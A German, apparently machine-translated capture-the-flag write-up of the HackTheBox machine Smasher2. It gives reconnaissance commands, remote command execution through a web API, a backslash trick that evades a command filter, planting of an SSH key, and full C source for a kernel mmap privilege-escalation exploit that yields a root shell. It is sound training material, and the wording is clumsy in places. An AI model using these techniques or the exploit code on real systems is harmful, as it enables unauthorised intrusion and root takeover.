In diesem Artikel beginne ich mit der Veröffentlichung von Lösungen, die von der
HackTheBox- Site zur
weiteren Verarbeitung gesendet wurden. Ich hoffe, dass dies zumindest jemandem hilft, sich auf dem Gebiet der Informationssicherheit weiterzuentwickeln. In diesem Artikel werden wir die Bibliothek für Python umkehren, WAF umgehen und die mmap-Sicherheitsanfälligkeit ausnutzen.
Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in einem privaten Netzwerk mit Personen enden, die sich mit dem Thema Informationssicherheit auskennen :)
Organisatorische InformationenSpeziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit weiterentwickeln möchten, werde ich folgende Kategorien beschreiben und besprechen:
- PWN;
- Kryptographie (Crypto);
- Netzwerktechnologien (Netzwerk);
- Reverse (Reverse Engineering);
- Steganographie (Stegano);
- Suche und Ausnutzung von WEB-Schwachstellen.
Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.
Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich
in Telegram einen
Channel und eine
Gruppe erstellt, um alle Fragen im Bereich ICD
zu diskutieren . Auch ich werde Ihre persönlichen Wünsche, Fragen, Anregungen und Empfehlungen
persönlich berücksichtigen
und auf alle antworten .
Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die er durch das Studium dieses Dokuments erlangt hat.
Intelligenz
Port-Scan
Dieser Rechner hat eine IP-Adresse vom 10.10.10.135, die ich zu / etc / hosts hinzufüge.
10.10.10.135 smasher2.htb
Zuerst scannen wir offene Ports. Da es sehr lange dauert, alle Ports mit nmap zu scannen, mache ich dies zuerst mit Masscan. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 1000 Paketen pro Sekunde.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.135 --rate=1000

Der Host hat 3 Ports offen. Scannen Sie es jetzt mit nmap, um weitere Details zu erhalten.
nmap -A 10.10.10.135 -p22,53,80

Wir haben also SSH, DNS und WEB, die den Code 403 zurückgeben (Verboten, Zugriff verweigert).
DNS
Lassen Sie uns den DNS überprüfen. Verwenden Sie dazu den Host-Client mit der Option -l, um mithilfe der AXFR-Anforderung eine Liste aller Hosts in der Domäne anzuzeigen.
host -l smasher2.htb 10.10.10.135

Daher müssen Sie einen neuen Eintrag in / etc / hosts hinzufügen.
10.10.10.135 wonderfulsessionmanager.smasher2.htb
WEB
Nun wollen wir sehen, was uns WEB beim Zugriff auf smasher2.htb bietet.

Es ist leer In diesem Fall sollten Sie die Verzeichnisse sortieren. Ich benutze Golang, einen schnellen Gobuster. Wir werden Verzeichnisse in 128 Threads sortieren, wir werden an HTML, PHP, TXT, Conf-Erweiterungen und Antwortcodes 200, 204, 301, 302, 307, 401 interessiert sein.
gobuster dir -t 128 -u http://smasher2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,conf -s 200,204,301,302,307,401

Suchen Sie das Sicherungsverzeichnis. Wir schauen uns an, was drin ist.

Laden Sie daher die Python-Datei und die Bibliothek herunter. Gehen Sie als Nächstes zu einem anderen Domainnamen und dort finden Sie das Autorisierungsformular.

Das Mozilla Firefox Wappalyzer-Plugin meldet, welche Technologien verwendet werden. Daher ist die Site in Python 2.7.15 geschrieben.

WEB API
Python
Wir haben gerade die Datei auth.py gefunden, analysieren wir sie. In der ersten Zeile des Imports wenden wir uns dem Modul ses.so zu, das wir auch in Backups gefunden haben.

Wir finden die Authentifizierung im Code. Bei erfolgreicher Authentifizierung erhalten wir secret_token_info zurück.


Gehen wir zum Punkt "/ api // job". Die Daten werden von der POST-Methode empfangen, während sie im JSON-Format vorliegen müssen. Wenn der Zeitplanparameter in den Daten vorhanden ist, wird er als Befehl in der Befehlszeile an die Ausführung übergeben.

Login und Passwort wurden bearbeitet ... Sie werden in unsere Bibliothek übertragen, die eine Sitzung erstellt - das SessionManager-Objekt.

Die safe_init_manager (id) -Funktion wird bei jedem neuen Aufruf aufgrund von before_request aufgerufen. Somit wird eine neue Sitzung initialisiert.

Die login () -Funktion erstellt ein sitzungsabhängiges Managerobjekt.

Und die Prüfung wird von der check_login () -Methode durchgeführt.

Umgekehrt .so
Wir müssen also herausfinden, wie die Daten überprüft werden. Dazu müssen wir in der Bibliothek das Gerät SessionManager.check_login () verstehen. In IDA Pro nach der gewünschten Funktion suchen.

Als ich die Funktion öffnete, machte ich auf ihre Grafik aufmerksam. Ich war an einer Reihe von unteren Blöcken interessiert, bevor ich zusammenkam.

Wenn Sie durch die Blöcke schauen, können Sie sehen, wovon dieser oder jener Zweig der Funktionsausführung spricht. Wir brauchen also nur den am weitesten rechts stehenden Block.

Ich habe die Verhaltenslinie der Funktion gezeichnet, die uns interessiert.

Nun schauen wir mal, was passiert. An einer Stelle bemerkte ich einen identischen Code für Login und Passwort. Und auch der gleiche Vergleich.

Dieselbe Funktion wird auch für Login und Passwort aufgerufen.

Dies deutet darauf hin, dass Benutzername und Passwort identisch sind. Da dieser Wert jedoch in das Python-Programm eingeht und bearbeitet wurde, muss er nur noch sortiert werden. Ich habe versucht, den Standardnamen zu verwenden, und zu meiner Überraschung kam der Administrator (warum habe ich es nicht sofort versucht ...).

Einstiegspunkt
Wir haben einen Schlüssel. Jetzt müssen Sie die Anforderung sammeln, um den Code auszuführen. Wie bereits erwähnt, müssen die Daten der POST-Methode, die den Zeitplanparameter im JSON-Format enthalten, an
wonderfulsessionmanager.smasher2.htb / auth / fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8 / job gesendet werden . Wir machen das mit curl und übergeben das Ergebnis an jq. Wir werden den whoami Befehl ausführen.
curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik5UaGlZVEJrTmpBMk1qYzBNemN4TmprellUTm1NREV3TXprMk9USTRPV1UzTnpVd05EQXdZZz09In19.XfZcLA.R3UTUnieAARkHBTbqpTmofKWtBw" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"whoami"}' | jq

Beim Versuch, den Befehl "ls" auszuführen, wird jedoch eine Fehlermeldung ausgegeben.

Höchstwahrscheinlich gibt es einen Filter im Team. Senden wir "l \\ s" - erfolgreich, was auf das Vorhandensein eines Filters hinweist.

USER
Jetzt müssen wir eine normale Shell in das System bekommen. Das System führt SSH aus, sodass wir einen Schlüssel generieren und in die Liste der autorisierten Hosts verschieben können.
Zuerst generieren wir einen Schlüssel.

Jetzt müssen wir unseren öffentlichen Schlüssel in die Datei /home/dzonerzy/.ssh/authorized_keys übertragen. Um die Übertragung zu vereinfachen, verwenden wir die Codierung in base64.
base64 -w0 id_rsa.pub
Wir übertragen es zuerst in eine temporäre Datei.
ec\\ho \”=\” > /tmp/ralf
Jetzt dekodieren und wie vorgesehen schreiben.
ba\\se\\64 -\\d /tmp/ralf >> /home/dzonerzy/\\.\\ss\\h/auth\\orized_ke\\ys
Wir haben den Schlüssel aufgeschrieben. Wenn alles in Ordnung ist, können wir uns über SSH mit dem privaten Schlüssel verbinden. Wir versuchen es. Und wir sind im System.

LPE - ROOT
Auflistung
Neben dem Token des Benutzers befindet sich die README-Datei. Lies es.

Uns wird gesagt, dass wir nicht normal denken sollten ... Aber nachdem ich die Standardaufzählungen abgeschlossen und nichts gefunden hatte, machte ich auf die Gruppe aufmerksam, in der sich der Benutzer befindet.

Die ADM-Gruppe hat Zugriff auf interessante Dateien.

Zum Beispiel auth.log. Es spiegelt nicht nur die Tatsachen einer erfolgreichen und nicht erfolgreichen Autorisierung wider, sondern auch die Tatsachen der Verwendung des Befehls sudo.
strings /var/log/auth.log | grep sudo

Ein interessanter Befehl wird im Auftrag des root ausgeführt. Da dies jedoch mit dem Treiber zusammenhängt, müssen Sie sicherstellen, dass wir dem Pfad folgen.

Ja, leider geht alles an den Fahrer.
Fahrer
Da es sich um einen Treiber (Kernelmodul) handelt, erhalten wir Informationen dazu mit modinfo.

Es wird gesagt, dass der Treiber benötigt wird, um mit dem dhid-Gerät zu arbeiten. Probieren Sie es aus.

Ja Es gibt so ein Gerät. Um den Treiber zu studieren, habe ich ihn selbst kopiert und in IDA Pro heruntergeladen.
scp -i id_rsa dzonerzy@10.10.10.135:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./
Eine spärliche Liste von Funktionen, von denen wir uns für PWN für diejenigen interessieren, die mit Speicher arbeiten. Gemessen an den Namen sind dies dev_read und dev_mmap.

Beim weiteren googeln habe ich keine Informationen über die Sicherheitslücke in Treibern im Zusammenhang mit Lesen gefunden, die nicht über mmap gesagt werden können! Also ging ich zu ihr.

Im Allgemeinen ist eine MMAP in den Treibern erforderlich, um das Gerät dem Speicher zuzuordnen und Seiten nach Bedarf auszuwählen, da das Gerät anfangs überhaupt keinen physischen Speicher verwendet.
In diesem Code ist nur der Aufruf der Funktion remap_pfn_range interessant, mit der der Speicher des Geräts dem Adressraum des Benutzers linear zugeordnet werden kann.
int remap_pfn_range (struct vm_area_struct * vma, vorzeichenlose long virt_add, vorzeichenlose long pfn, vorzeichenlose long size, pgprot_t prot);
Zeigt die Größenbytes der physischen Adressen an, beginnend mit der Seitenzahl, die von pfn für die virtuelle Adresse virt_add angegeben wurde. Die dem virtuellen Raum zugeordneten Sicherheitsbits werden in prot angegeben.
Wie üblich betrachten wir Parameter, die zuvor nicht verarbeitet wurden. Dies sind die Parameter pfn und size, mit denen sich beliebig viel Speicher zum Lesen und Schreiben anzeigen lässt.
Ausnutzen
Als ich googelte, was dagegen getan werden kann, war ich von einer möglichen Art der Ausbeutung beeindruckt. Wenn wir die creds-Kontrollstruktur im Speicher finden, können wir die Benutzer-UID auf 0 ändern und dann die Shell aufrufen, die uns eine Shell mit vollen Rechten gibt.

Überprüfen Sie zunächst, ob wir eine große Menge an Speicher anzeigen können. Der folgende Code öffnet das Gerät und zeigt 0xf0000000 Bytes ab der Adresse 0x40404040 zum Lesen und Schreiben mit der Möglichkeit an, diese Reflexion mit anderen Prozessen zu verwenden, die dasselbe Objekt widerspiegeln.
Code #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); int stop = getchar(); return 0; }
Kompiliere:
gcc sh.c -o sh.bin
und übertrage auf den Host. Lass es uns machen.

Gehen wir nun zu einem anderen ssh-Terminal und sehen uns die Speicherkarte dieses Prozesses an.

Wie Sie sehen, ist die Adresse dieselbe, Beschriftungen zum Lesen und Schreiben sowie zum Teilen sind angebracht. Das ist eine funktionierende Idee. Der nächste Schritt besteht darin, die Creds-Struktur des Prozesses im Auge zu behalten. Aus der obigen Struktur ist ersichtlich, dass das Markenzeichen aus 8 Zahlen besteht, die von unserer UID in einer Reihe verwundet wurden.
Code #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, cred_iter: %d\n", addr, cred_iter); } addr++; } fflush(stdout); int stop = getchar(); return 0; }
So fanden wir 19 ähnliche Strukturen.

Jetzt müssen wir alle UIDs auf 0 setzen. Nachdem wir die UIDs einer bestimmten Struktur neu geschrieben haben, werden wir unsere UID überprüfen. Sobald unsere UID gleich 0 wird, können wir davon ausgehen, dass wir die Struktur des Prozesses gefunden haben, den wir benötigen.
Code #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; if (getuid() == 0){ printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter); break; } else{ cred_cur = 0; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; } } addr++; } fflush(stdout); int stop = getchar(); return 0; }

Nachdem wir die benötigte Struktur gefunden haben, ändern wir die UID in 0xffffffff und rufen die Bash-Shell über die exec-Funktion auf.
Code #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; if (getuid() == 0){ printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur += 1; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; execl("/bin/sh","-", (char *)NULL); break; } else{ cred_cur = 0; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; } } addr++; } fflush(stdout); int stop = getchar(); return 0; }

Wir haben Wurzel. Tatsächlich handelt es sich um eine sehr komplexe Maschine, für die ein ausgefeilter Umgang mit dieser Version von LPE erforderlich war.
Natürlich war es sehr schwierig, die Sicherheitsanfälligkeit im Treiber auszunutzen, und ich bin der Community dankbar, die mir mit einem Hinweis darauf geholfen hat, wie ich zum Treiber komme, und einen Artikel über die ähnliche Ausnutzung der Sicherheitsanfälligkeit in mmap geteilt hat.
Soll ich die Analyse der zur weiteren Verarbeitung gesendeten Maschinen weiterhin veröffentlichen? Sie können sich uns
per Telegramm anschließen . Bauen wir eine Community auf, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns gegenseitig in allen Fragen der IT- und Informationssicherheit helfen.